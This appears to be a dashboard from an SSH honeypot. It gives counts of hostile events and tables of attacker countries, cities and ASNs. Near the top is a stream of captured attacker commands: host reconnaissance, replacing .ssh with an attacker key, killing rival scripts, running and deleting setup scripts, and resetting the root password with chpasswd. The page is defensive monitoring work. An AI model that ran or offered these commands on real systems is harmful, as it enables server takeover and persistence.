██████╗ ██╗ ██╗████████╗██████╗ ██████╗ ██████╗ ██████╗ ██╔══██╗██║ ██╔╝╚══██╔══╝██╔══██╗██╔══██╗██╔═══██╗██╔══██╗ ██████╔╝█████╔╝ ██║ ██║ ██║██████╔╝██║ ██║██████╔╝ ██╔═══╝ ██╔═██╗ ██║ ██║ ██║██╔══██╗██║ ██║██╔═══╝ ██║ ██║ ██╗ ██║ ██████╔╝██║ ██║╚██████╔╝██║ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝
Updated: 2026-05-23 14:52:02 EEST
Last hostile event: 2026-05-23 14:51:59 EEST
Hostile events today (so far): 25630 (~1723.99 / hour)
Record hostile day: 105658 (2026-04-13)
Average hostile/day since: 11279 (since 2026-01-23, 121 active days)
Trend (last 14d, today→left): ▃▅▄▄▄▄▄▄▄▇█▁▁▁
Unique attacker IPs (current log window): 134
/bin/./uname -s -v -n -r -mcd ~; chattr -ia .ssh; lockr -ia .sshcd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv…uname -awhoamiwhich lswuname -munametoprm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.…ls -lh $(which ls)lscpu | grep Modelfree -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'df -h | head -n 2 | awk 'FNR == 2 {print $2;}'crontab -lcat /proc/cpuinfo | grep name | wc -lcat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'cat /proc/cpuinfo | grep model | grep name | wc -lchmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mk…echo "root:x7G1JVNdRukS"|chpasswd|bashecho "root:T8BzT4PmVzTx"|chpasswd|bashecho "root:R5RaA3GfBWDw"|chpasswd|bashecho "root:phBcBrrBh0Gv"|chpasswd|bashecho "root:PdOFSHXlH3Jl"|chpasswd|bashScroll for more.
| hits | country |
|---|---|
| 45973 | Romania |
| 1441 | China |
| 973 | South Korea |
| 627 | United Kingdom |
| 507 | United States |
| 498 | Russia |
| 358 | India |
| 323 | Indonesia |
| 213 | Brazil |
| 184 | Japan |
| 183 | Sri Lanka |
| 163 | South Africa |
| 140 | Bolivia |
| 135 | Vietnam |
| 104 | Philippines |
| 89 | Singapore |
| 84 | Angola |
| 74 | Hong Kong |
| 71 | France |
| 51 | The Netherlands |
| 46 | Malaysia |
| 46 | Kenya |
| 23 | United Arab Emirates |
| 23 | Taiwan |
| 10 | Thailand |
| 4 | Egypt |
| 2 | Seychelles |
| 2 | Germany |
| hits | city |
|---|---|
| 45973 | Romania |
| 1087 | China |
| 515 | Uiwang, South Korea |
| 465 | United Kingdom |
| 448 | Russia |
| 277 | Indonesia |
| 222 | United States |
| 219 | Seongnam-si, South Korea |
| 184 | Tokyo, Japan |
| 183 | Gangdong-gu, South Korea |
| 183 | Dehradun, India |
| 183 | Colombo, Sri Lanka |
| 163 | Delhi, India |
| 163 | Boksburg, South Africa |
| 158 | Santa Clara, United States |
| 155 | Beijing, China |
| 140 | La Paz, Bolivia |
| 139 | City of London, United Kingdom |
| 135 | Ho Chi Minh City, Vietnam |
| 109 | Santo Antônio, Brazil |
| 106 | Hangzhou, China |
| 104 | São Paulo, Brazil |
| 104 | Naic, Philippines |
| 84 | Angola |
| 78 | Shanghai, China |
| 66 | Singapore, Singapore |
| 46 | Paris, France |
| 46 | Nairobi, Kenya |
| 46 | Jakarta, Indonesia |
| 46 | Hong Kong |
| hits | ASN |
|---|---|
| 45971 | Unmanaged Ltd |
| 536 | China Telecom Group |
| 515 | SK Broadband Co Ltd |
| 471 | Unknown |
| 371 | Beijing Volcano Engine Technology Co., Ltd. |
| 275 | Korea Telecom |
| 251 | Netiface America, Inc. |
| 218 | DigitalOcean, LLC |
| 206 | IONOS SE |
| 186 | UCLOUD INFORMATION TECHNOLOGY HK LIMITED |
| 183 | Sri Lanka Telecom Internet |
| 183 | Sangsang Networks Co., Ltd. |
| 183 | Blue Sky Broadband Pvt. Ltd. |
| 165 | PT Cloud Hosting Indonesia |
| 163 | MTN Business Solutions |
| 163 | Beijing Baidu Netcom Science and Technology Co., Ltd. |
| 154 | Amazon.com, Inc. |
| 140 | Telefonica Celular de Bolivia S.A. |
| 140 | GITELENET PRIVATE LIMITED |
| 129 | A2 Hosting, Inc. |
| 127 | WorkTitans B.V. |
| 112 | Cloud Host Pte Ltd |
| 109 | AGRESTE TELECOMUNICACOES EIRELI-ME |
| 104 | EWS DS Networks Inc |
| 104 | Equinix (EMEA) Acquisition Enterprises B.V. |
| 90 | Microsoft Corporation |
| 84 | NETSPACE |
| 75 | Cloud Computing Corporation |
| 75 | Chinanet |
| 71 | No.293,Wanbao Avenue |
City is approximate (often datacenter/ISP location).
Today (so far): 25630 Yesterday: 43007
| date | bar | count |
|---|---|---|
| 2026-05-23 | ###### | 25630 |
| 2026-05-22 | ########## | 43007 |
| 2026-05-21 | ######### | 38093 |
| 2026-05-20 | ######### | 37950 |
| 2026-05-19 | ######## | 36317 |
| 2026-05-18 | ######## | 34459 |
| 2026-05-17 | ######## | 36362 |
| 2026-05-16 | ######## | 36483 |
| 2026-05-15 | ######### | 40392 |
| 2026-05-14 | ################# | 75242 |
| 2026-05-13 | ################### | 81678 |
| 2026-05-12 | # | 3755 |
| 2026-05-11 | # | 3387 |
| 2026-05-10 | 2155 | |
| 2026-05-09 | # | 3358 |
| 2026-05-08 | # | 3745 |
| 2026-05-07 | # | 2482 |
| 2026-05-06 | # | 3693 |
| 2026-05-05 | ## | 8260 |
| 2026-05-04 | # | 5773 |
| 2026-05-03 | # | 3222 |
| 2026-05-02 | # | 3355 |
| 2026-05-01 | # | 4316 |
| 2026-04-30 | # | 2965 |
| 2026-04-29 | # | 3361 |
| 2026-04-28 | #### | 19600 |
| 2026-04-27 | 1428 | |
| 2026-04-26 | ##### | 20712 |
| 2026-04-25 | ############### | 64419 |
| 2026-04-24 | # | 4426 |
| 2026-04-23 | # | 5082 |
| 2026-04-22 | ## | 6849 |
| 2026-04-21 | # | 5771 |
| 2026-04-20 | ################# | 75370 |
| 2026-04-19 | # | 4402 |
| 2026-04-18 | # | 2901 |
| 2026-04-17 | # | 3194 |
| 2026-04-16 | # | 5264 |
| 2026-04-15 | ### | 15192 |
| 2026-04-14 | ################ | 70543 |
| 2026-04-13 | ######################## | 105658 |
| 2026-04-12 | # | 5419 |
| 2026-04-11 | ## | 7104 |
| 2026-04-10 | ## | 8295 |
| 2026-04-09 | ## | 7992 |
| 2026-04-08 | ## | 10837 |
| 2026-04-07 | # | 5076 |
| 2026-04-06 | ## | 10803 |
| 2026-04-05 | # | 4617 |
| 2026-04-04 | # | 2546 |
| 2026-04-03 | # | 2534 |
| 2026-04-02 | 1324 | |
| 2026-04-01 | 1377 | |
| 2026-03-31 | 1302 | |
| 2026-03-30 | 1651 | |
| 2026-03-29 | 1300 | |
| 2026-03-28 | 2148 | |
| 2026-03-27 | 1539 | |
| 2026-03-26 | # | 2660 |
| 2026-03-25 | # | 2930 |
Hostile daily counts include eventid: login.failed, login.success, command.input, direct-tcpip.request, session.connect, session.file_download, session.file_upload.
Zero days hidden. (Window: last 60 days)
Events (current log window): 52338
Current log window: since 2026-05-23 03:00:01 EEST (last event 2026-05-23 14:51:59 EEST)
System uptime: up 17 weeks, 1 day, 4 hours, 17 minutes